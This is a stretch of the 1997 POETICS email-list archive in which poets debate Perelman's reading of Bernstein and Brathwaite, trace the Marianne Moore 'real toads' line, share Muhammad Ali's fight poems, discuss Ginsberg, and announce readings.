"it would be easy enough simultaneously to award the palm to the revolutionary commitment of _x/self_ and to dismiss bernstein's anarchy. i can imagine that a subtle, self-aware, and humorous caliban makes a more attractive figure for many than a self-shattering "humpty dumpty" ... who seems to say little more

than "words can be spelled however i choose to spell them." braithwaite's words exist in history, to the point where a revolutionary life becomes the embodiment of the verb of saying ... by extension, the act of writing _x/self_ can be seen as a parallel revolutionary act. such a statement, however, requires a major caveat. "by extension" masks a problem: the idea of revolutionary writing is based on a revolutionary reading of it, which in turn is based on the academic security of intellectual flexibility. and bernstein, despite his many gestures of renunciation, also wants power, at least in a more local academic arena..." (my ellipses)...

i'm not certain the implicit critique here of bernstein's poetic 'position' vis-a-vis braithwaite's doesn't fudge somewhat (even as it illuminates) what *appears* to be a privileging of some wider, less "local" (and more urgent?) "history" somehow implicit in braithwaite's "revolutionary" impulse... the question would seem to turn on the sort of poetic agency "embodied" by bernstein and braithwaite (which is not to say "identity")... how does agency operate in the bernstein readership vis-a-vis the braithwaite (yes there is overlap, of course)...

but it may be that it's the "revolutionary," in fact, that gives trouble in this context (an academic context, finally, given that bob's book is on princeton up, which of course seeps now into poetics---a somewhat more complicated context)... i'm thinking of what current notions of "revolutionary" might entail, readership-wise, as well as "anarchy"---regarding which i am tempted to say that so many counter-cultures have been effectively foreclosed upon in the past two decades (and then some)...

try this on---obliquely, by way of getting 'at' the humor in bernstein (and really---not an 'apologist' for charles here, just trying to get a handle on his agency, which may not be a matter merely of presumed "Self"-shatter, exactly):

"the humor of the oppressed is a funky thing that runs slantwise through sorrow and self-pity, a funny sideways nuance of irony and self-mockery: coming out of the black community, descending to from the remains of the east european yiddish ghettos. nobody writes 'light verse' any more. but there is humor and play and mockery and exaggeration in the most serious poems. because if you're trying to write in some way of your whole life with the whole person ... well, it's pretty absurd. you have to dig yourself, your own absurdity." (author's ellipsis)...

it's marge piercy, from "tom eliot meets the hulk at little big horn: the political economy of poetry," marge piercy and dick lourie... in _triquarterly_ no. 23/24, winter/spring 1972, special issue on "literature in revolution"; p. 89...

best,

joe

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464. Michael Boughn
Re: float/sting
Wed 16 Apr 1997

> *here's another quiz*
> *(i desperately need the answer to): what's that line that goes "imaginary somethings with real something in them" i think the word "toadstools" is in there somewhere.*
> *md*

It's Marianne Moore, Maria, in "Poetry":

. . . One must make a / distinction / however: when dragged into prominence by half poets, the result is / not poetry, / nor till the poets among us can be / 'literalisits of / the imagination'--above / insolence and triviality and can present // for inspection, 'imaginary gardens with real toads in them', shall we / have / it.

Mike
[redacted]

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465. Issa Clubb
Re: WBA
Wed 16 Apr 1997

> *....is actually one of the best CD-ROMs I've seen. Voyager, which I think is out of business, put it out. There's a great section on gay history deep in the interface, but of course some Funda-mentalist found it, and it's been banned in some high schools.*

Thanks for the plug, but we're still very much in business. We had a well-publicized 'restructuring' or whatever you call it these days, that resulted in the ouster of founder and figurehead Bob Stein & the cutting of the nominal CD-ROM production department. But we're still making CDROMs, almost as many as last year in fact, including... ta dah!... WBA II. But don't get too excited, it's not done yet -- in fact I probably shouldn't be mentioning it.

As for the gay cowboys, it was Apple who tried to drop it from a bundle, we made a federal case out of it and they backed down. Pretty fun stuff, all in all (when you win). It might be banned in some high schools, I don't know -- probably more for the frontier abortionist stuff...

And as for Jordan's question, I've been working on the same piece for 5 years now, trying to find the proper medium for it. I think I've settled on hypertextual-

book length-video-poem. That I'll then print onto a series of Tshirts. Or something.

--issa

_____
Issa Clubb
Voyager Art Dept.
mailto:[redacted]

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466. Daniel Zimmerman
Re: float/sting
Wed 16 Apr 1997

Maria Damon wrote:
>
> still no clear answers on the clay/liston fight poem. here's another quiz
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--Dan Zimmerman

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467. **amato**
Re: Is anybody still discussing Bob Perelman
Wed 16 Apr 1997

---

oh shit: that first "to" in the piercy quote should be "too"...

sorry!...

best,

joe

↑ Index

468. **Michael Franco**
CHARLES BERNSTEIN IN BOSTON
Wed 16 Apr 1997

The Word of Mouth reading series presents AN AFTERNOON WITH CHARLES BERNSTEIN.
DATE : SUNDAY, April 20th

TIME: 3:30pm

PLACE: WORLD WIDE BUILDING, ARTISTS WEST, SECOND FLOOR, Studio #8, 144 Moody St. Waltham Ma.{Waltham Center}

ADMISSION: $3.00
WHEEL CHAIR ACCESSIBLE

SPONSOR: WORD OF MOUTH READING SERIES
Phone for information: [redacted] (Or [redacted] Day of reading only)
 e-mail [redacted]

THE DETAILS: LOCATION: WORLD WIDE BUILDING: 144 MOODY ST. WALTHAM MA. [ARTISTS WEST, SECOND FLOOR, STUDIO # 8]. HOW TO GET THERE: COMMUTER RAIL [N. STATION OR PORTER SQ. TRAINS LEAVE AT 3pm (N. STATION) OR 3:10PM (PORTER SQ.). STUDIOS ARE A 3 MIN WALK FROM THE STATION. BY CAR: MOODY ST IS JUST OFF OF WALTHAM COMMON. FREE PARKING AVAILABLE.

Many Thanks, ⍰.. Michael Franco/ WoM

↑ Index

469. **Joel Kuszai**
Help!
Wed 16 Apr 1997

---

if anyone out there can help me find the following people, I would appreciate it greatly (e-mail or snail mail will do):

1. Thomas Orange of UWO
2. Taylor Stoehr

and as a matter of trivia (a student of mine is writing a paper on Yoko Ono):

whatever happened to Tony Cox and their daughter?

it seems like I had a longer list before I sat down to write this.

↑ Index

470. **simon**
Re: Imaginary Interview Question
Wed 16 Apr 1997

I'm usually working on two or three, but they're at different "stages" (whateve that means), at least, they were started at different times. But what I've also found is that, without planning to, the poem I'm working on "most" is, almost always, in some way, connected to the prose piece I'll also be working on. I'm always working poems and prose at the same time.

beth simon

↑ Index

471. **aerialedge**
perhaps this is a rescue fantasy by Heather Fuller
Wed 16 Apr 1997

---

now available:

perhaps this is a rescue fantasy

by Heather Fuller

"Heather Fuller's lines are 'moves' being made, as if in her peripheral vision where everything's happening. Her 'moves' are in this periphery 'on their own': "I saw Graceland in the narrow of a morning." The poems start out before we read them; or as if simultaneous, to one side of us-- "I watch for entering

words / never running away but into Out." One has the sense of the reader being the speaker who at once does not know, hasn't pre-formed, what is being said (and what is going to be). The writing is "the cut and joining when you are speaker and not knowing." --Leslie Scalapino

"For Heather Fuller enjamb north-south-street-lettres smarts in the narralyrical riff space full of humor & attention & rage. "I don't fuck pronouns and no visits from scribes," she writes. That is, "_Dear Formalist_ . . . woman arrested for lying under sculpture. . . the sculpture _Fish Out of Water._" Meanwhile, "I make love in the most irrelevant places." That is, "_Please ask to be reseated if you think you lack the strength_" for this rescue fantasy." --Joan Retallack

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Edge Books
POBox 25642
Washington, DC 20007

thanks.

↑ Index

472. Christina Fairbank Chirot
Re: Will's column/Plus ca change . . .
Wed 16 Apr 1997

"Poetry America was born before us & will live after us--and would've been visible for every eye to see but for the scientists of poetry & sociologists of Academy measuring the vast mind with monkey calipers & teaspsoons of ink--" Allen Ginsberg

Plus ca change, plus c'est la meme chose . . . George Will's column, the attendant brou-haha--it doesn't make Norman Podhoretz's attack on the Beats "The Know Nothing Bohemians" seem so far distant.

an underappreciated aspect of Ginsberg, Kerouac, Burroughs, Snyder, Whalen, DiPrima et als work is the serious independent scholarship and study it continues to inspire--in many fields--in many ways--by many people--in poetry, languages, history, religion, philosophy, music--at two Kerouac Birthday celebrations and Ginsberg memorial at Woodland Pattern here in Milwaukee--this much in evidence, spanning now a number of generations--

"Poetry America was born before us & will live after us" as Ginsberg wrote--whatever Will or Podhoretz & Co. say--

(note that Will, a Cubs fan, must be having a rough time of late himself--what with the eleven game losing streak to open the season--but then, there again, with the Cubs--plus ca change . . .)

dbc

↑ Index

473. Charles Bernstein
Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: The Opera
Wed 16 Apr 1997

> *I simply meant to imply that in certain ways today our social milieu shares many traits with those of Victorian England. . . .*
> *My point in writing the post you quote was to learn what disasters had been spared by 'media revolutionaries.'*

A hundred years ago Oscar Wilde -- a writer perhaps even more celebrated in Victorian England than Allen Ginsberg in postwar America -- was hounded to death while at the very height of his fame and at the top of his magnificent form. Allen Ginsberg, and to be sure many others, courageously refused to be bashed down by the perverts who would end a person's life and career because of their sexual orientation or lifestyle. He was part of a massive cultural movement to make what happened to Wilde if not unthinkable at least unacceptable in the U S of A. He did this not by presenting "positive" images of being gay or smoking pot but by presenting by turns joyous and defiant images of these things and a number of others. Wilde ends his days in jail and then disgrace. Ginsberg is celebrated even in the pages that reviled him -- the Times, the New Yorker, &c --

I write that not because it is not well known to the people on this list, but because it bears repeating.

↑ Index

474. Alan Jen Sondheim
Re: Will's column/Plus ca change . . .
Wed 16 Apr 1997

On Wed, 16 Apr 1997, Christina Fairbank Chirot wrote:

> an underappreciated aspect of Ginsberg, Kerouac, Burroughs,
> Snyder, Whalen, DiPrima et als work is the serious independent scholarship
> and study it continues to inspire--in many fields--in many ways--by many
> people--in poetry, languages, history, religion, philosophy, music--at
> two Kerouac Birthday celebrations and Ginsberg memorial at Woodland

> Pattern here in Milwaukee--this much in evidence, spanning now a number
> of generations--
>
I would say this is definitely true - at least for me in relation to Di
Prima and her earliest work like Dinners and Nightmares, which seemed much
more interesting to me than any other lit of that period (and still does
to some extent) - and her trajectory through the years has taught me a lot
- just finished rereading Revolutionary Letters though which reifies the
NME to such an extent that HE disappears into monolith and we are always
painted as the good guys and I'm as corrupt as they come, we're all, and
can't identify -

Alan - but these thinkings wouldn't otherwise surface -

↑ Index

475. **henry g**
Re: The is-anybody-still-discussing thread
Wed 16 Apr 1997

---

what if art is a process. not automatically a process of discontent. something else. & enlisting it in vanguard of discontent/truth-seeking/ rebellion ends up hiding the truth as much as revealing it. what if the process leads to a more radical truth if discontent is not taken as a given (thus leading to all the institutionalized hypocrisies & comedies DB alluded to). we've had these non-arguments over huge- abstractions before. [exhale] yes, troubled humanity, I have once again dissected "art" & lifted it in conformtent formcontaldehyde for your dispection.

Henry Gould

↑ Index

476. **Keith Tuma**
Re: Is anybody still discussing Bob Perelman
Wed 16 Apr 1997

I don't think Bob P privileges Brathwaite (that's without an "i" said the pedant) over Bernstein. That Bernstein "wants power" goes without saying: who doesn't? As I read it, Bob P's point involves the mediations of the "academy" to which both writers are more or less subject. The contrast worth making is between the (mostly) dispersive energies of CB's practice and the gathering energies of Brathwaite's. This contrast is itself made (not in exactly this way) by CB in his remarks on KB in "Poetics of the Americas." What would be worth contesting in Bob P's reading of KB, and also in CB's reading of KB, is their sense of KB's practice as singular (this is related to mark's point but not the same

point). I take it that much of X/Self has little to do with "nation-language" at least as KB has defined it, that there is indeed a "vernacular" present in the poem and that it is this vernacular that grounds "nation-language" and the utopian identity politics the poem is imagining. I take it too that--elsewhere--there is something else going on, more related to dispersing than gathering. Caliban as rebel, Caliban as hero: dispersing and gathering both. What Bob P acknowledges but does not to my thinking stress enough is the Caribbean location of KB's project. Different issues there than the ones CB must face. And when KB's text enters into USAmerican contexts it is something else. For a shameless plug I'll mention that I've discussed some of these issues in an essay in paul naylor's _River City_.

This is too brief, perhaps cryptic, but i've a thousand things to do today. And anyway as i read Mark the real force of his question to Bob involves matters other than the remarks on KB and CB.

keith tuma

↑ Index

477. **Hugh Steinberg**
Re: float/sting
Wed 16 Apr 1997

With all these postings on Ali, I wonder if anyone has published a book of his collected works? It'd be a kick to read.

Hugh Steinberg

↑ Index

478. **Pritchett,Pat**
FW: The Greatest
Wed 16 Apr 1997

I pray my server is swift today...

Clay comes out to meet Liston
And Liston starts to retreat
If Liston goes any further
He'll end up in a ringside seat
Clay swings with a left
Clay swings with a right
Look at young Cassius
Carry the fight
Liston keeps backing
But there's not enough room

It's a matter of time
There, Clay lowers the boom
Now Clay swings with a right
What a beautiful swing
And the punch raises the bear
Clear out of the ring
Liston is still rising
And the ref wears a frown
For he can't start the counting
Till Sonny comes down
Now Liston disappears from view
The crowd is getting frantic
But our radar stations have picked him up
He's somewhere over the Atlantic
Who would have thought
When they came to the fight
That they'd witness the launching
Of a human satellite
Yes the crowd did not dream
When they lay down their money
That they would see
A total eclipse of the Sonny
I am the greatest!

↑ Index

479. Christopher Reiner
found poem
Wed 16 Apr 1997

(Intro: It's not unusual for web site designers to place "keywords" into a page's actual html code so that search engines like Alta Vista or Infoseek will index the page in response to a word or phrase typed in as a query by you or me. These keywords are not visible, but the search engines will still register their presence. In fact, the more times the word is used, the higher the ranking of the page in the index of "hits.". What follows is a list of keywords from the Heaven's Gate site, which I have copied from its Home Page source code. I present here it as a found poem, without any extra linebreaks or whatnot... -- Chris R.)

<meta name="keywords" content="Heaven's Gate,

Heaven's Gate, Heaven's Gate, Heaven's Gate, Heaven's Gate, Heaven's Gate,

ufo, ufo, ufo, ufo, ufo, ufo, space alien, space alien, space alien,
space alien, space alien, space alien, extraterrestrial,
extraterrestrial, extraterrestrial, extraterrestrial,

extraterrestrial, extraterrestrial, millennium, millennium, millennium,

millennium, millennium, millennium, millennium,

misinformation, misinformation,

misinformation, misinformation, misinformation, misinformation,

freedom, freedom, freedom, freedom, freedom, freedom, second coming, second coming, second coming, second coming, second coming, second coming, angels, angels, angels,

angels, angels, angels, end times, end times, end times, end times, end times, end

times, Jesus, Jesus, Jesus, Jesus, Jesus, Jesus, God, God, God, God, God, God">

</head>

↑ Index

480. **Mark Weiss**

Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: The Opera

Wed 16 Apr 1997

Along with our national flag, anthem, bird, miss, mrs, etc, we have at the moment a national psychological strategu--passive aggression--and a national affect--the smirk.

At 12:26 PM 4/16/97 +0100, you wrote:
>Matthias Regan-
>
>I simply meant to imply that in certain ways today our social milieu shares
>many traits with those of Victorian England. The most obvious is the
>pervasive social usage of "niceness" as a way to avoid critical dialogue.
>Although the surface is pleasant-"that was a nice poem, a nice reading, a
>nice (fill in the blank)-hidden hostilities remain directly unspoken. The
>Middle English usage of the word-'foolish'-descended from prior French and
>Latin cognates meaning 'ignorant' or 'not knowing.' It's interesting to
>hear 'nice' so over-used in today's contexts.
>
>Also, while today's climate feels more open in certain respects than in the
>past, we still live in a market economy narrowly defined by a monopoly of
>political, social, and cultural interests.

>
>I feel I'm not being specific enough, however, within this space of e-mail
>comminication. What I've written is too general and I haven't connected to
>anything concrete. My point in writing the post you quote was to learn
>what disasters had been spared by 'media revolutionaries.' I was
>addressing Piombino's vague statement with my own. I'd be happy to
>backchannel re: this issue, if you'd like. I don't think it's worth
>wasting much space. I had Raymond Williams' The Country and The City in
>mind when I posted.
>
>
>>>What disasters have been spared? The social, political, and aesthetic
>>>reality of this country today resembles Victorian England more than ever.
>>>
>>
>> This seems like a strange thing to say. What do you have in mind?
>>
>>Matthias Regan
>>Northwestern University
>>Department of Chemistry
>>Phone: 847/[redacted]
>
>

↑ Index

481. **Mark Weiss**

Re: Is anybody still discussing Bob Perelman

Wed 16 Apr 1997

To an outsider this continues to be very weird. Two of the parties, Bernstein and perelman, are on the list. Why do we theorize about what one meant about the other and what the other may think of it? Isn't this like talking about people in the room as if they weren't there? Why don't we just query them for their own input?

At 02:32 PM 4/16/97 EST, you wrote:
>I don't think Bob P privileges Brathwaite (that's without an "i" said the
>pedant) over Bernstein. That Bernstein "wants power" goes without saying: who
>doesn't? As I read it, Bob P's point involves the mediations of the "academy"
>to which both writers are more or less subject. The contrast worth making is
>between the (mostly) dispersive energies of CB's practice and the gathering
>energies of Brathwaite's. This contrast is itself made (not in exactly this

>way) by CB in his remarks on KB in "Poetics of the Americas." What would be
>worth contesting in Bob P's reading of KB, and also in CB's reading of KB, is
>their sense of KB's practice as singular (this is related to mark's point but
>not the same point). I take it that much of X/Self has little to do with
>"nation-language" at least as KB has defined it, that there is indeed a
>"vernacular" present in the poem and that it is this vernacular that grounds
>"nation-language" and the utopian identity politics the poem is imagining. I
>take it too that--elsewhere--there is something else going on, more related to
>dispersing than gathering. Caliban as rebel, Caliban as hero: dispersing and
>gathering both. What Bob P acknowledges but does not to my thinking stress
>enough is the Caribbean location of KB's project. Different issues there than
>the ones CB must face. And when KB's text enters into USAmerican contexts
it
>is something else. For a shameless plug I'll mention that I've discussed
>some of these issues in an essay in paul naylor's _River City_.
>
>This is too brief, perhaps cryptic, but i've a thousand things to do today. And
>anyway as i read Mark the real force of his question to Bob involves matters
>other than the remarks on KB and CB.
>
>keith tuma
>
>

↑ Index

482. **Jordan Davis**
Nationalismo
Wed 16 Apr 1997

Mark Weiss's proposition below is not true; rather than the nation, it characterizes itself. Or, as a mystery bonus allusion for cross-readers of POETICS and CAP-L, the nation is just what you say -- the world is ugly and the people are sad.

Jordan

On Wed, 16 Apr 1997, Mark Weiss wrote:

> *Along with our national flag, anthem, bird, miss, mrs, etc, we have at the moment a national psychological strategu--passive aggression--and a national affect--the smirk.*

↑ Index

483. Ken Edwards
Ginsberg PS
Wed 16 Apr 1997

I've been having difficulty getting my messages bounced back (I hope it's sorted now) so I'm a bit late with this, but I was reminded when Ginsberg died of my report to this list of the Albert Hall gig he starred in, in London, back in Oct 95; I quote myself:

"I find his first poem incredibly moving in its wry, humorous acceptance of death and dissolution ("What a mess I am, Allen Ginsberg"; "Allen Ginsberg warns you: don't follow my path to extinction")."

Seems like he saw it coming from way off.

In the midst of a UK general election campaign that is unprecedentedly dismal in its hypocrisy, cant and soundbite-count, I long for some of that honesty & humanity.

↑ Index

484. Jordan Davis
Re: Is anybody still dissing
Wed 16 Apr 1997

Mark --

Sorry about the hostile tone of that last post. Guess I was enacting exactly what I was criticizing again (whoops!).

But once again to quibble -- does it make sense to speak of outsiders on a listserv? Seems more like there are readers who indicate that they have read _by writing back_, and then there are readers who either read and it's enough, or else they just keep deleting until they see a subject they like. It is a topic, all right, the anger of poets who are entering a discussion.

That said, I agree, the rhetoric of posts about list members (and the subsequent silence) _is_ kind of funny. It's not exactly like watching bear-baiting... Bob Perelman, doesn't it happen to you every few weeks?

On Wed, 16 Apr 1997, Mark Weiss wrote:

> *To an outsider this continues to be very weird. Two of the parties,*

↑ Index

485. Pritchett,Pat
Re: float/sting
Wed 16 Apr 1997

Not to my knowledge. Thomas Hauser's book on Ali is the one to read - an oral bio. And Ali himself came out with his autobio _The Greatest_. Wilfrid Sheed has also done a fine photo-essay book on him - prob. out of print. His poems appear here & there. George Plimpton has a piece about the meeting he arranged between Marianne Moore and then Cassius Clay - to tie together both of Maria Damon's recent queries. It's quite amusingly related, as I recall - but the event, in which they worked together on a poem - was an anti-climax, acc. to Plimp.

Patrick Pritchett

From: Hugh Steinberg
To: POETICS
Subject: Re: float/sting
Date: Wednesday, April 16, 1997 3:28PM

With all these postings on Ali, I wonder if anyone has published a book of his collected works? It'd be a kick to read.

Hugh Steinberg

↑ Index

486. Joe Safdie
Re: The is-anybody-still-discussing thread
Wed 16 Apr 1997

On Tue, 15 Apr 1997, David Bromige wrote (in part):

. . . we pass from nakedness to The Nude, and eventually, Dada rests in the Museum, whose calm framing does a lot to tranquilize shock. I don't like to sound aloof, but I doubt that there's a whole lot to be done to alter this dynamic . . . poets who work within institutions frequently are nominated to help out with further institutions, where they learn the value (a real value!) of compromise, and the way of life this can become must place their art-selves in considerable jeopardy. Its easier to kid yourself, harder to find the foul rag-&-bone yard--or blissful indifference--of the heart of the matter of human being.

Gosh, David, where did this come from? Am I misreading you by seeing this as a statement of futility, of one's art inevitably coming to nothing, of tragic (even) melancholy? How are you feeling today?

Compromise is certainly a virtue in faculty meetings and marriages, but I doubt whether any good poem ever arose out of it. Are you saying that any poet who

works in an institution, MUST, necessarily, give up the poetic urges, the rag-and-bone shop, of one's art self? And thus compromise? Do you feel you've done this? Granted, it's unbearably easy to kid one's self, but if any art I'm lucky enough to create can come only at the expense of my official duties at this institution or any other -- I'll quit! I'll let my wife support me! (Just kidding, Sara).

Your post reminded me of Jim Carroll's unjustifiably neglected first rock-'n-roll album (circa 1980); there's a song on it that has the lyric:

But it ain't no contribution
To rely on the institution
To justify your chosen art
To sanction your boredom
And let you play out your part

(loud guitar strums)

I admire your dictum regarding short posts, but I sure would like to hear more about this . . .

↑ Index

487. **Joe Safdie**
Re: Will's column/Plus ca change . . .
Wed 16 Apr 1997

On Wed, 16 Apr 1997, Christina (?) Fairbank Chirot wrote:

(note that Will, a Cubs fan, must be having a rough time of late himself--what with the eleven game losing streak to open the season--but then, there again, with the Cubs--plus ca change . . .)

That's the fifth baseball reference in the last week (I've been counting). I really hope nobody's offended, because . . .

The Giants are in first place! (This may be the only time this season I'll be able to say that).

By the way, do we have another Jennifer/Alan situation with this post. Are you David, Christina, or both?

↑ Index

488. **George Bowering**
Re: ginsberg and snyder
Wed 16 Apr 1997

> *"When?" is the question. At two different times or in a different dimension.*
> *tom*
> *At 10:31 PM 4/13/97 -0700, George Bowering wrote:*

> *Does using adjacent urinals in two different states*
>
> *Where is that possible?*

Well, it would have to be in some can on a state line, wouldnt it?

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

489. Daniel Zimmerman
Re: float/sting
Wed 16 Apr 1997

Maria Damon wrote:
>
> cool, daniel z: what would you like: a copy of my gertrude stein article, a
> copy of my book, or a copy of the new journal CrossCultural Poetix?
>
> At 8:52 AM -0700 4/16/97, Daniel Zimmerman wrote:
> >Maria Damon wrote:
> >>
> >> still no clear answers on the clay/liston fight poem. here's another quiz
> >> (i desperately need the answer to): what's that line that goes "imaginary
> >> somethings with real something in them" i think the word "toadstools" is
in
> >> there somewhere.
> >> md
> >>
> >> At 9:27 AM -0500 4/15/97, Tom Mandel wrote:
> >> >"float like a butterfly
> >> >sting like a bee"
> >> >
> >> >was spoken by one of Muhammed's cornermen, not by him. I can't
> >> >believe I'm forgetting the guy's name (like forgetting what is
> >> >in one panel of a favorite stained glass emblazoned on brain);
> >> >I'll probably wake up with it at 2am....

> >> >
> >> >was it Bundini Brown?
> >> >
> >> >Tom
> >> >
> >> >
> >> >
> >> >Tom Mandel [redacted]
> >> >**********
> >> >Screen Porch * http://screenporch.com
> >> >4031 University Dr. Suite 200 * vox: [redacted]
> >> >Fairfax, VA 22030-3409 * fax: [redacted]
> >> >**********
> >> > Join the Caucus ConversationMaria,
> > That's "imaginary gardens with real toads in them"
> >--from Marianne Moore's "Poetry" [the one that begins "I, too, dislike
> >it"].
> >--Dan Zimmerman

Thanks for the offer, Maria; how about a trade? I've just published a book, Blue Horitals (Amman, Jordan: Oasii, 1997), with my late friend & teacher Jack Clarke [7 poems by each of us]. Give me a snail mail address & I'll send you a copy. You could send me whatever you like best. My address:

485 Parsonage Road
Edison, NJ 08837

Ma►ana,
Dan Zimmerman,
Real Toad

↑ Index

490. Dave Zauhar

Re: FW: The Greatest (a variant reading, perhaps)

Wed 16 Apr 1997

Pat P. Had the swifter server, but here's another Ali poem on Liston:

This is a story about a man
With Iron Fists and a beautiful tan.
He talks a lot indeed,
Of a powerful punch and blinding speed.

The boxing game was slowly dying,
And fight promoters were bitterly crying

For someone somewhere to come along
With a better and different tone.

Patterson was dull, quiet and sad,
And Sonny Liston was just as bad.
Along came a kid named Cassius Clay,
Who said, "I'll take Liston's title away."

His athletic genius cannot be denied.
In a very short time
He Spread far and wide.

There's an impression you get
Watching him fight.
He plays cat and mouse
Then turns out the light.

This colorful fighter is something to see,
And the Greatest Heavyweight Champion
I know he will be.

And, another variation on the theme of Sonny Liston, shorter and w/ slanter rhymes.

King Liston will stay
Only until he meets Cassius Clay.
Moore fell in Four, Liston
In eight.

Finally, a poem that resulted in death threats:

Keep asking me, no matter how long,
on the war in Viet Nam, I'll sing this song:
I ain't got no quarrel with the Viet Cong.

Dave Zauhar, mostly quoting Muhammad Ali

↑ Index

491. **George Bowering**

Re: Moore

Wed 16 Apr 1997

> *still no clear answers on the clay/liston fight poem. here's another quiz (i desperately need the answer to): what's that line that goes "imaginary somethings with real something in them" i think the word "toadstools" is in there somewhere.*
> *md*

Oh, yr going to get 523 answers on this one, Maria. It was the first statement on poetics I ever heard, when I was a lonely school kid on the desert. Marianne Moore. (1) garden (2) toad

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

492. **DS**
Re: Is anybody still discussing Bob Perelman
Wed 16 Apr 1997

With apologies i ask this prurient question.

If you had to stand in one state & piss into the other - which would be the more likely recipient.

Dan

> *keith tuma*
> *who lives eight miles from a town (college corner, indiana/ohio) where it's possible to piss in two states at once though he's never never tried to do so, being content to piss in two states of mind*

↑ Index

493. **Keith Tuma**
Re: Is anybody still discussing Bob Perelman
Wed 16 Apr 1997

Mark--

If I want to ask Bob "Hey do you privilege Brathwaite over Bernstein in that book of yours?" I'll ask him. Then we'll have a new text I'll come to some sort of conclusion about. I was venturing an opinion about part of another one already published and X/Self itself--in response to Wallace's post.

No bear-baiting involved (hi Jordan, I'm talking about you now, as well as *to* you but look a few people are listening either way)--just bull. Asking people questions directly and out of the blue in this forum--"Hey Bob do you privilege

Brathwaite over Bernstein in that book of yours?"--now that would be strange. Kind of like writing a review and mailing it to someone with a bill attached, and a note saying that you must respond now or else.

Sometimes texts authored by members of the list and not the text of the list itself becomes the object of discussion, no? Perhaps it is awkward. Perhaps it is simply inevitable--after all, you are all so prolific in this electronic world and beyond it.

all best--
keith tuma
who lives eight miles from a town (college corner, indiana/ohio) where it's possible to piss in two states at once though he's never never tried to do so, being content to piss in two states of mind

↑ Index

494. AARON SHURIN
Re: Paging Mr. Mossin
Wed 16 Apr 1997

With apologies to listers, Andrew Mossin if you're currently out there will you backchannel me with your e-mail address? Thanks.

Aaron Shurin

↑ Index

495. David Israel
if not to lurk
Wed 16 Apr 1997

Hi all --

d.i. here, back from many days in California -- a place more fond for distance -- [to any in SF area, highly recommended: Leonard Pitt & Ruth Zaporah's "Seduction" (A Traveling Jewish Theatre, Artaud Project, thru May 4), co-directed by Rinde Eckert): think [Hollywood-sprach here] Godot meets Chaplain & dances the Tango . . .

but I've emerged from nonbeing for this comment --

~ ~ ~ start ~ ~ ~
Date: Mon, 14 Apr 1997 17:45:51 EST5EDT
From: LYNES- KATHERINE <[redacted]>
Subject: Re: Imaginary Interview Question

okay, all right.... pressure, always pressure.... i work on several at a time.... <snip}

back to lurking [the moniker [and no i'm not looking up the spelling of that]
of which i'm not sure i like....] kl
~ ~ ~ end ~ ~ ~

so, how about neologize a newer, more congenial self-descriptive?

if not to lurk, then what?

back to surveying
back to minding the shop

back to the woods of silence
back to the original language

returning now to the ghostly gaze
hush! a spectre in the silent haze

back to death's chair, reading life

cybernetic study
primal position
uncarved block

watchtower lookout aerie ledge
back to the corner back to the bayou

back to the audience (quitting the stage)
hie me to the boxseat
or (pace Byrne) back into the box

? or . . .

↑ Index

496. **David Israel**
erratum
Wed 16 Apr 1997

---

for:
> highly recommended ... Leonard Pitt & Ruth Zaporah's "Secuction"

read:
> . . . "Seduction"

that would be Seduction, Kansas -- a train-stop (the near-wordless, much-voice-ful, gesturesome piece takes place on the train platform)

also: in a Borders Books down on the Santa Monica mall
noted Kevin Killian's volume while purchasing Rudyard Kipling's

tip of the hat to Sir Gould for recent "we are Victorians" ruminance

BUT NOTE: email has spawned / is spawning what is (to my mind) clearly a neo-Victorian [in far from perjorative sense, gentlefolk] sense of epistolary practice -- wherein the lettered gentleman or gentlewoman might aptly & suitably expect to pass four or five hours of an evening reading & composing letters -- something scarcely seen till this medium hs brought back -- I opine -- the good ghost of it . . . .

d.i.

↑ Index

497. Small Press Traffic

McCaffery and Willis rock SF

Wed 16 Apr 1997

Small Press Traffic presents

Steve McCaffery and Elizabeth Willis

SATURDAY
April 19
7:30 p.m.
New College Cultural Center
766 Valencia St, San Francisco (between 18th & 19th)

_____
Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110 415/[redacted]

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498. henry gould

Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: The Opera

Wed 16 Apr 1997

On Wed, 16 Apr 1997 13:52:58 -0700 Mark Weiss said:
>Along with our national flag, anthem, bird, miss, mrs, etc, we have at the
>moment a national psychological strategu--passive aggression--and a national
>affect--the smirk.

Do I detect a smirk on the end of this critique? Is this an example of the iterative function of criticism in a de-centered sensorium? Or is that just me again - smirking? - Errant Blarndrift (whose Grandmother, Florence Hale Ainsworth, was born on the 4th of July, 1900, was a member of the D.A.R., and whose grandson Errant loves the Stars & Stripes along with the Union Jackdrift.) (&

Allen Ginsberg, the Leader of the Cultural Revolution, can go fly a Pantoum over the United Gaps of America)

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499. KYLE CONNER/LRC-CAHS

Re: found poem

Wed 16 Apr 1997

Christopher (Chris?)

thanks for the heaven's gate found poem. chilling, to say the least. the droning repetition seems appropriate in characterizing a sort of religious denial. if one keeps repeating the words, no other ideas can get in.

kyle conner

↑ Index

500. George Bowering

Re: Is anybody still discussing Bob Perelman

Thu 17 Apr 1997

> *With apologies i ask this prurient question.*
>
> *If you had to stand in one state & piss into the other - which would be the more likely recipient.*
>
> *Dan*
>
> *keith tuma*
> *who lives eight miles from a town (college corner, indiana/ohio) where it's possible to piss in two states at once though he's never never tried to do so,*
> *being content to piss in two states of mind*

Here's what I want to know: is that claim a manifestation of patriarchal hegemony?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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501. David Bromige
if this is still under discussion
Thu 17 Apr 1997

